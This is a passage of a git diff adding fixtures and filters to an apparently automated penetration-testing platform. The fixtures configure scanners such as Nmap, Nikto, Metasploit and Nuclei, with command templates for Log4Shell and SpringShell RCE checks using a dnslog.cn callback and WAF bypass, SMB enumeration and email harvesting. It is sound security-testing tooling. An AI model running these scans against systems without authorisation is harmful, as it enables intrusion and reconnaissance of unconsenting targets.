+1,4 @@ +class ToolNotInstalledException(Exception): + """Tool execution generic exception.""" + + pass diff --git a/src/backend/tools/fields.py b/src/backend/tools/fields.py new file mode 100644 index 000000000..328fa1661 --- /dev/null +++ b/src/backend/tools/fields.py @@ -0,0 +1,9 @@ +from framework.fields import IntegerChoicesField + + +class StageField(IntegerChoicesField): + def to_representation(self, value: int) -> str: + representation = super().to_representation(value) + if value == 1: + representation = representation.upper() + return representation diff --git a/src/backend/tools/filters.py b/src/backend/tools/filters.py new file mode 100644 index 000000000..626a33c40 --- /dev/null +++ b/src/backend/tools/filters.py @@ -0,0 +1,35 @@ +from django_filters.rest_framework import FilterSet +from framework.filters import LikeFilter +from tools.models import Configuration, Tool + + +class ToolFilter(LikeFilter): + class Meta: + model = Tool + fields = { + "name": ["exact", "icontains"], + "command": ["exact", "icontains"], + "version": ["exact", "icontains"], + "configurations": ["exact"], + "configurations__name": ["exact", "icontains"], + "configurations__stage": ["exact"], + "intensities__value": ["exact"], + "arguments__inputs__type__name": ["exact"], + "configurations__outputs__type__name": ["exact"], + } + + +class ConfigurationFilter(FilterSet): + class Meta: + model = Configuration + fields = { + "name": ["exact", "icontains"], + "tool": ["exact"], + "tool__name": ["exact", "icontains"], + "tool__command": ["exact", "icontains"], + "arguments": ["exact", "icontains"], + "stage": ["exact"], + "default": ["exact"], + "tool__arguments__inputs__type__name": ["exact"], + "outputs__type__name": ["exact"], + } diff --git a/src/backend/tools/fixtures/1_tools.json b/src/backend/tools/fixtures/1_tools.json new file mode 100644 index 000000000..ed63879cf --- /dev/null +++ b/src/backend/tools/fixtures/1_tools.json @@ -0,0 +1,262 @@ +[ + { + "model": "tools.tool", + "pk": 1, + "fields": { + "name": "Nmap", + "command": "nmap", + "version": null, + "version_argument": null, + "output_format": "xml", + "reference": "https://nmap.org/", + "icon": "https://www.kali.org/tools/nmap/images/nmap-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 2, + "fields": { + "name": "Dirsearch", + "command": "dirsearch", + "version": null, + "version_argument": null, + "output_format": "json", + "reference": "https://github.com/maurosoria/dirsearch", + "icon": "https://raw.githubusercontent.com/maurosoria/dirsearch/master/static/logo.png" + } + }, + { + "model": "tools.tool", + "pk": 3, + "fields": { + "name": "theHarvester", + "command": "theHarvester", + "version": null, + "version_argument": null, + "output_format": "json", + "reference": "https://github.com/laramies/theHarvester", + "icon": "https://www.kali.org/tools/theharvester/images/theharvester-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 4, + "fields": { + "name": "Nikto", + "command": "nikto", + "version": null, + "version_argument": null, + "output_format": "xml", + "reference": "https://github.com/sullo/nikto", + "icon": "https://www.kali.org/tools/nikto/images/nikto-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 5, + "fields": { + "name": "Sslscan", + "command": "sslscan", + "version": null, + "version_argument": null, + "output_format": "xml", + "reference": "https://github.com/rbsec/sslscan", + "icon": "https://www.kali.org/tools/sslscan/images/sslscan-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 6, + "fields": { + "name": "SSLyze", + "command": "sslyze", + "version": null, + "version_argument": null, + "output_format": "json", + "reference": "https://nabla-c0d3.github.io/sslyze/documentation/", + "icon": "https://www.kali.org/tools/sslyze/images/sslyze-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 7, + "fields": { + "name": "CMSeeK", + "command": "cmseek", + "version": null, + "version_argument": null, + "output_format": "json", + "reference": "https://github.com/Tuhinshubhra/CMSeeK/", + "icon": "https://camo.githubusercontent.com/b1864e58e861aa4e938d17d4a50ae1a4bedec9cdb9e8b7ce7ac80a1b5cc711ed/68747470733a2f2f692e696d6775722e636f6d2f35565973316d322e706e67" + } + }, + { + "model": "tools.tool", + "pk": 8, + "fields": { + "name": "ZAP", + "command": "zaproxy", + "version": null, + "version_argument": null, + "output_format": "xml", + "reference": "https://www.zaproxy.org/", + "icon": "https://www.kali.org/tools/zaproxy/images/zaproxy-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 9, + "fields": { + "name": "SearchSploit", + "command": "searchsploit", + "version": null, + "version_argument": null, + "output_format": "json", + "reference": "https://www.exploit-db.com/searchsploit", + "icon": "https://www.kali.org/tools/exploitdb/images/exploitdb-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 10, + "fields": { + "name": "Metasploit", + "command": "msfconsole", + "version": null, + "version_argument": null, + "output_format": null, + "reference": "https://www.metasploit.com/", + "icon": "https://www.kali.org/tools/metasploit-framework/images/metasploit-framework-logo.svg" + } + }, + { + "model": "tools.tool", + "pk": 11, + "fields": { + "name": "Log4j Scan", + "command": "python3", + "version": null, + "version_argument": null, + "output_format": null, + "reference": "https://github.com/fullhunt/log4j-scan", + "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico" + } + }, + { + "model": "tools.tool", + "pk": 12, + "fields": { + "name": "EmailFinder", + "command": "emailfinder", + "version": null, + "version_argument": null, + "output_format": null, + "reference": "https://github.com/Josue87/EmailFinder", + "icon": null + } + }, + { + "model": "tools.tool", + "pk": 13, + "fields": { + "name": "EmailHarvester", + "command": "emailharvester", + "version": null, + "version_argument": null, + "output_format": "txt", + "reference": "https://github.com/maldevel/EmailHarvester", + "icon": null + } + }, + { + "model": "tools.tool", + "pk": 14, + "fields": { + "name": "JoomScan", + "command": "joomscan", + "version": null, + "version_argument": null, + "output_format": null, + "reference": "https://github.com/OWASP/joomscan", + "icon": "https://raw.githubusercontent.com/rezasp/Trash/master/joomscan.png" + } + }, + { + "model": "tools.tool", + "pk": 15, + "fields": { + "name": "GitLeaks", + "command": "gitleaks", + "version": null, + "version_argument": null, + "output_format": "json", + "reference": "https://github.com/zricethezav/gitleaks", + "icon": "https://gitleaks.io/favicon.ico" + } + }, + { + "model": "tools.tool", + "pk": 16, + "fields": { + "name": "SSH Audit", + "command": "ssh-audit", + "version": null, + "version_argument": null, + "output_format": null, + "reference": "https://github.com/jtesta/ssh-audit", + "icon": null + } + }, + { + "model": "tools.tool", + "pk": 17, + "fields": { + "name": "SMBMap", + "command": "smbmap", + "version": null, + "version_argument": null, + "output_format": null, + "reference": "https://github.com/ShawnDEvans/smbmap", + "icon": null + } + }, + { + "model": "tools.tool", + "pk": 18, + "fields": { + "name": "Nuclei", + "command": "nuclei", + "version": null, + "version_argument": null, + "output_format": "json", + "reference": "https://nuclei.projectdiscovery.io", + "icon": "https://nuclei.projectdiscovery.io/static/favicon.png" + } + }, + { + "model": "tools.tool", + "pk": 19, + "fields": { + "name": "Spring4Shell Scan", + "command": "python3", + "version": null, + "version_argument": null, + "output_format": null, + "reference": "https://github.com/fullhunt/spring4shell-scan", + "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico" + } + }, + { + "model": "tools.tool", + "pk": 20, + "fields": { + "name": "Gobuster", + "command": "gobuster", + "version": null, + "version_argument": null, + "output_format": "txt", + "reference": "https://github.com/OJ/gobuster", + "icon": null + } + } +] \ No newline at end of file diff --git a/src/backend/tools/fixtures/2_intensities.json b/src/backend/tools/fixtures/2_intensities.json new file mode 100644 index 000000000..c05a1ed41 --- /dev/null +++ b/src/backend/tools/fixtures/2_intensities.json @@ -0,0 +1,317 @@ +[ + { + "model": "tools.intensity", + "pk": 1, + "fields": { + "tool": 1, + "argument": "-T0", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 2, + "fields": { + "tool": 1, + "argument": "-T2", + "value": 2 + } + }, + { + "model": "tools.intensity", + "pk": 3, + "fields": { + "tool": 1, + "argument": "-T3", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 4, + "fields": { + "tool": 1, + "argument": "-T4", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 5, + "fields": { + "tool": 1, + "argument": "-T5", + "value": 5 + } + }, + { + "model": "tools.intensity", + "pk": 6, + "fields": { + "tool": 2, + "argument": "-t 1 -s 1", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 7, + "fields": { + "tool": 2, + "argument": "-t 10 -s 1", + "value": 2 + } + }, + { + "model": "tools.intensity", + "pk": 8, + "fields": { + "tool": 2, + "argument": "-t 30", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 9, + "fields": { + "tool": 2, + "argument": "-t 60", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 10, + "fields": { + "tool": 2, + "argument": "-t 100", + "value": 5 + } + }, + { + "model": "tools.intensity", + "pk": 11, + "fields": { + "tool": 3, + "argument": "", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 12, + "fields": { + "tool": 4, + "argument": "", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 13, + "fields": { + "tool": 5, + "argument": "--sleep=100", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 14, + "fields": { + "tool": 5, + "argument": "--sleep=50", + "value": 2 + } + }, + { + "model": "tools.intensity", + "pk": 15, + "fields": { + "tool": 5, + "argument": "", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 16, + "fields": { + "tool": 6, + "argument": "", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 17, + "fields": { + "tool": 7, + "argument": "--light-scan", + "value": 2 + } + }, + { + "model": "tools.intensity", + "pk": 18, + "fields": { + "tool": 7, + "argument": "", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 19, + "fields": { + "tool": 8, + "argument": "", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 20, + "fields": { + "tool": 9, + "argument": "", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 21, + "fields": { + "tool": 10, + "argument": "", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 22, + "fields": { + "tool": 11, + "argument": "", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 23, + "fields": { + "tool": 12, + "argument": "", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 24, + "fields": { + "tool": 13, + "argument": "", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 25, + "fields": { + "tool": 14, + "argument": "", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 26, + "fields": { + "tool": 15, + "argument": "", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 27, + "fields": { + "tool": 16, + "argument": "", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 28, + "fields": { + "tool": 17, + "argument": "", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 29, + "fields": { + "tool": 18, + "argument": "", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 30, + "fields": { + "tool": 19, + "argument": "", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 31, + "fields": { + "tool": 20, + "argument": "--threads 1", + "value": 1 + } + }, + { + "model": "tools.intensity", + "pk": 32, + "fields": { + "tool": 20, + "argument": "--threads 5", + "value": 2 + } + }, + { + "model": "tools.intensity", + "pk": 33, + "fields": { + "tool": 20, + "argument": "--threads 10", + "value": 3 + } + }, + { + "model": "tools.intensity", + "pk": 34, + "fields": { + "tool": 20, + "argument": "--threads 20", + "value": 4 + } + }, + { + "model": "tools.intensity", + "pk": 35, + "fields": { + "tool": 20, + "argument": "--threads 50", + "value": 5 + } + } +] \ No newline at end of file diff --git a/src/backend/tools/fixtures/3_configurations.json b/src/backend/tools/fixtures/3_configurations.json new file mode 100644 index 000000000..bad92e25b --- /dev/null +++ b/src/backend/tools/fixtures/3_configurations.json @@ -0,0 +1,530 @@ +[ + { + "model": "tools.configuration", + "pk": 1, + "fields": { + "tool": 1, + "name": "TCP ports", + "arguments": "--privileged {host} {intensity} {ports} -sS -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 2, + "fields": { + "tool": 1, + "name": "UDP ports", + "arguments": "--privileged {host} {intensity} {ports} -sU -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 3, + "fields": { + "tool": 1, + "name": "TCP ports & service versions", + "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A -oX {output}", + "stage": 2, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 4, + "fields": { + "tool": 1, + "name": "UDP ports & service versions", + "arguments": "--privileged {host} {intensity} {ports} -sU -sV -A -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 5, + "fields": { + "tool": 1, + "name": "TCP & UDP ports", + "arguments": "--privileged {host} {intensity} {ports} -sS -sU -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 6, + "fields": { + "tool": 1, + "name": "TCP & UDP ports & service versions", + "arguments": "--privileged {host} {intensity} {ports} -sS -sU -sV -A -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 7, + "fields": { + "tool": 1, + "name": "Fast TCP ports", + "arguments": "--privileged {host} {intensity} {ports} -F -sS -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 8, + "fields": { + "tool": 1, + "name": "Fast UDP ports", + "arguments": "--privileged {host} {intensity} {ports} -F -sU -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 9, + "fields": { + "tool": 1, + "name": "Fast TCP ports & service versions", + "arguments": "--privileged {host} {intensity} {ports} -F -sS -sV -A -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 10, + "fields": { + "tool": 1, + "name": "Fast UDP ports & service versions", + "arguments": "--privileged {host} {intensity} {ports} -F -sU -sV -A -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 11, + "fields": { + "tool": 1, + "name": "Fast TCP & UDP ports", + "arguments": "--privileged {host} {intensity} {ports} -F -sS -sU -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 12, + "fields": { + "tool": 1, + "name": "Fast TCP & UDP ports & service versions", + "arguments": "--privileged {host} {intensity} {ports} -F -sS -sU -sV -A -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 13, + "fields": { + "tool": 1, + "name": "Vulners", + "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script vulners -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 14, + "fields": { + "tool": 1, + "name": "FTP NSE scripts", + "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script ftp-anon,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-libopie,ftp-vuln-cve2010-4221 -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 15, + "fields": { + "tool": 2, + "name": "Standard wordlist", + "arguments": "{url} {intensity} -o {output} --format=json {wordlist} {authentication} {cookie}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 16, + "fields": { + "tool": 2, + "name": "Wordlist with extensions", + "arguments": "{url} {intensity} -o {output} --format=json --force-extensions {wordlist} {authentication} {cookie}", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 17, + "fields": { + "tool": 2, + "name": "Recursive", + "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --recursion-depth=10 {wordlist} {authentication} {cookie}", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 18, + "fields": { + "tool": 2, + "name": "Deep recursive", + "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --depth-recursive --recursion-depth=10 {wordlist} {authentication} {cookie}", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 19, + "fields": { + "tool": 3, + "name": "All available sources", + "arguments": "{target} -b all -f {output}", + "stage": 1, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 20, + "fields": { + "tool": 3, + "name": "Google & Duckduckgo & Bing & Linkedin & Twitter", + "arguments": "{target} -b google,duckduckgo,bing,linkedin,linkedin_links,twitter -f {output}", + "stage": 1, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 21, + "fields": { + "tool": 4, + "name": "Web scan", + "arguments": "{url} -Format xml -output {output} {authentication} {cookie}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 22, + "fields": { + "tool": 5, + "name": "SSL/TLS analysis", + "arguments": "--xml={output} {intensity} {target}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 23, + "fields": { + "tool": 6, + "name": "SSL/TLS analysis", + "arguments": "--json_out={output} {target}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 24, + "fields": { + "tool": 7, + "name": "CMS scan", + "arguments": "{url} {intensity} --follow-redirect --batch", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 25, + "fields": { + "tool": 8, + "name": "Active scan", + "arguments": "{authentication} {cookie} {command} -cmd {url} -quickprogress -quickout {output}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 26, + "fields": { + "tool": 9, + "name": "Search by technology", + "arguments": "{technology} --json > {output}", + "stage": 5, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 27, + "fields": { + "tool": 10, + "name": "Search by CVE", + "arguments": "-q -x \"search {cve};quit\"", + "stage": 5, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 28, + "fields": { + "tool": 11, + "name": "Log4Shell (CVE-2021-44228)", + "arguments": "{script} {url} --dns-callback-provider dnslog.cn --run-all-tests", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 29, + "fields": { + "tool": 11, + "name": "Log4Shell (CVE-2021-44228) with WAF bypass", + "arguments": "{script} {url} --dns-callback-provider dnslog.cn --run-all-tests --waf-bypass", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 30, + "fields": { + "tool": 12, + "name": "Search emails", + "arguments": "{target}", + "stage": 1, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 31, + "fields": { + "tool": 13, + "name": "Search emails", + "arguments": "{target} -s {output}", + "stage": 1, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 32, + "fields": { + "tool": 14, + "name": "Joomla scan", + "arguments": "{url} {cookie}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 33, + "fields": { + "tool": 15, + "name": "Dump .git and find secrets in all commits", + "arguments": "detect -f json --report-path {output}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 34, + "fields": { + "tool": 16, + "name": "SSH scan", + "arguments": "{host} {port} --batch", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 35, + "fields": { + "tool": 17, + "name": "List shares", + "arguments": "{host} {port} {authentication}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 36, + "fields": { + "tool": 17, + "name": "List shares and directories recursively", + "arguments": "{host} {port} -R {authentication}", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 37, + "fields": { + "tool": 1, + "name": "SMB NSE scripts", + "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script smb-enum-shares,smb-enum-users,smb-enum-groups,smb-enum-sessions,smb-protocols,smb-enum-domains,smb-enum-services,smb-mbenum,smb-ls,smb-security-mode,smb2-security-mode,smb-double-pulsar-backdoor,smb-vuln-webexec,smb2-vuln-uptime,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-cve-2017-7494 -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 38, + "fields": { + "tool": 1, + "name": "FTP & SMB NSE scripts", + "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script ftp-anon,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-libopie,ftp-vuln-cve2010-4221,smb-enum-shares,smb-enum-users,smb-enum-groups,smb-enum-sessions,smb-protocols,smb-enum-domains,smb-enum-services,smb-mbenum,smb-ls,smb-security-mode,smb2-security-mode,smb-double-pulsar-backdoor,smb-vuln-webexec,smb2-vuln-uptime,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-cve-2017-7494 -oX {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 39, + "fields": { + "tool": 18, + "name": "All templates", + "arguments": "{url} {authentication} {cookie} -json -output {output}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 40, + "fields": { + "tool": 18, + "name": "Automatic technology detection", + "arguments": "{url} -automatic-scan {authentication} {cookie} -json -output {output}", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 41, + "fields": { + "tool": 18, + "name": "CVE templates", + "arguments": "{url} -tags cve {authentication} {cookie} -json -output {output}", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 42, + "fields": { + "tool": 19, + "name": "SpringShell RCE (CVE-2022-22965)", + "arguments": "{script} {url}", + "stage": 4, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 43, + "fields": { + "tool": 19, + "name": "Spring Cloud RCE (CVE-2022-22963)", + "arguments": "{script} {url} --test-CVE-2022-22963", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 44, + "fields": { + "tool": 19, + "name": "SpringShell RCE (CVE-2022-22965) with WAF bypass", + "arguments": "{script} {url} --waf-bypass", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 45, + "fields": { + "tool": 19, + "name": "Spring Cloud RCE (CVE-2022-22963) with WAF bypass", + "arguments": "{script} {url} --waf-bypass --test-CVE-2022-22963", + "stage": 4, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 46, + "fields": { + "tool": 20, + "name": "Subdomains enumeration", + "arguments": "dns {target} {subdomain_wordlist} {intensity} --wildcard --show-ips --no-color --no-progress --quiet --output {output}", + "stage": 1, + "default": true + } + }, + { + "model": "tools.configuration", + "pk": 47, + "fields": { + "tool": 20, + "name": "VHOST enumeration", + "arguments": "vhost {target_url} {subdomain_wordlist} {intensity} --append-domain --no-tls-validation --no-color --no-progress --quiet --output {output}", + "stage": 2, + "default": false + } + }, + { + "model": "tools.configuration", + "pk": 48, + "fields": { + "tool": 20, + "name": "Endpoints enumeration", + "arguments": "dir {url} {endpoint_wordlist} {basic_auth} {token_auth} {cookie} {intensity} --no-tls-validation --no-color --no-progress --quiet --output {output}", + "stage": 4, + "default": false + } + } +] \ No newline at end of file diff --git a/src/backend/tools/fixtures/4_arguments.json b/src/backend/tools/fixtures/4_arguments.json new file mode 100644 index 000000000..279bb7e50 --- /dev/null +++ b/src/backend/tools/fixtures/4_arguments.json @@ -0,0 +1,453 @@ +[ + { + "model": "tools.argument", + "pk": 1, + "fields": { + "tool": 1, + "name": "host", + "argument": "{host}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 2, + "fields": { + "tool": 1, + "name": "ports", + "argument": "-p {ports_commas}", + "required": false, + "multiple": true + } + }, + { + "model": "tools.argument", + "pk": 3, + "fields": { + "tool": 2, + "name": "url", + "argument": "-u {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 4, + "fields": { + "tool": 2, + "name": "wordlist", + "argument": "--wordlist={wordlist}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 5, + "fields": { + "tool": 3, + "name": "target", + "argument": "-d {target}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 6, + "fields": { + "tool": 4, + "name": "url", + "argument": "-host {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 7, + "fields": { + "tool": 5, + "name": "target", + "argument": "{target}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 8, + "fields": { + "tool": 6, + "name": "target", + "argument": "{target}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 9, + "fields": { + "tool": 7, + "name": "url", + "argument": "-u {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 10, + "fields": { + "tool": 8, + "name": "url", + "argument": "-quickurl {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 11, + "fields": { + "tool": 9, + "name": "technology", + "argument": "-c {technology} {version}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 12, + "fields": { + "tool": 10, + "name": "cve", + "argument": "cve:{cve}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 13, + "fields": { + "tool": 11, + "name": "url", + "argument": "-u {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 14, + "fields": { + "tool": 12, + "name": "target", + "argument": "-d {target}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 15, + "fields": { + "tool": 13, + "name": "target", + "argument": "-d {target}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 16, + "fields": { + "tool": 14, + "name": "url", + "argument": "-u {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 17, + "fields": { + "tool": 15, + "name": "url", + "argument": "{url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 18, + "fields": { + "tool": 16, + "name": "host", + "argument": "{host}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 19, + "fields": { + "tool": 16, + "name": "port", + "argument": "-p {port}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 20, + "fields": { + "tool": 17, + "name": "host", + "argument": "-H {host}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 21, + "fields": { + "tool": 17, + "name": "port", + "argument": "-P {port}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 22, + "fields": { + "tool": 2, + "name": "authentication", + "argument": "--auth={token} --auth-type={credential_type_lower}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 23, + "fields": { + "tool": 2, + "name": "cookie", + "argument": "--cookie='{cookie_name}={secret}'", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 24, + "fields": { + "tool": 14, + "name": "cookie", + "argument": "--cookie '{cookie_name}={secret}'", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 25, + "fields": { + "tool": 17, + "name": "authentication", + "argument": "-u {username} -p {secret}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 26, + "fields": { + "tool": 4, + "name": "authentication", + "argument": "-id {username}:{secret}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 27, + "fields": { + "tool": 4, + "name": "cookie", + "argument": "-Option STATIC-COOKIE='{cookie_name}={secret}'", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 28, + "fields": { + "tool": 8, + "name": "authentication", + "argument": "ZAP_AUTH_HEADER='Authorization' ZAP_AUTH_HEADER_VALUE='{credential_type} {token}'", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 29, + "fields": { + "tool": 8, + "name": "cookie", + "argument": "ZAP_AUTH_HEADER='Cookie' ZAP_AUTH_HEADER_VALUE='{cookie_name}={secret}'", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 30, + "fields": { + "tool": 18, + "name": "url", + "argument": "-u {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 31, + "fields": { + "tool": 18, + "name": "authentication", + "argument": "-header 'Authorization:{credential_type} {token}'", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 32, + "fields": { + "tool": 18, + "name": "cookie", + "argument": "-header 'Cookie:{cookie_name}={secret}'", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 33, + "fields": { + "tool": 19, + "name": "url", + "argument": "-u {url}", + "required": true, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 34, + "fields": { + "tool": 20, + "name": "target", + "argument": "--domain {target}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 35, + "fields": { + "tool": 20, + "name": "target_url", + "argument": "--url {target}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 36, + "fields": { + "tool": 20, + "name": "url", + "argument": "--url {url}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 37, + "fields": { + "tool": 20, + "name": "subdomain_wordlist", + "argument": "--wordlist {wordlist}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 38, + "fields": { + "tool": 20, + "name": "endpoint_wordlist", + "argument": "--wordlist {wordlist}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 39, + "fields": { + "tool": 20, + "name": "basic_auth", + "argument": "--username {username} --password {secret}", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 40, + "fields": { + "tool": 20, + "name": "token_auth", + "argument": "--headers 'Authorization: {credential_type} {token}'", + "required": false, + "multiple": false + } + }, + { + "model": "tools.argument", + "pk": 41, + "fields": { + "tool": 20, + "name": "cookie", + "argument": "--cookie '{cookie_name}={secret}'", + "required": false, + "multiple": false + } + } +] \ No newline at end of file diff --git a/src/backend/tools/fixtures/5_inputs.json b/src/backend/tools/fixtures/5_inputs.json new file mode 100644 index 000000000..ade902a85 --- /dev/null +++ b/src/backend/tools/fixtures/5_inputs.json @@ -0,0 +1,562 @@ +[ + { + "model": "tools.input", + "pk": 1, + "fields": { + "argument": 1, + "type": 2, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 2, + "fields": { + "argument": 1, + "type": 3, + "filter": "http", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 3, + "fields": { + "argument": 2, + "type": 3, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 4, + "fields": { + "argument": 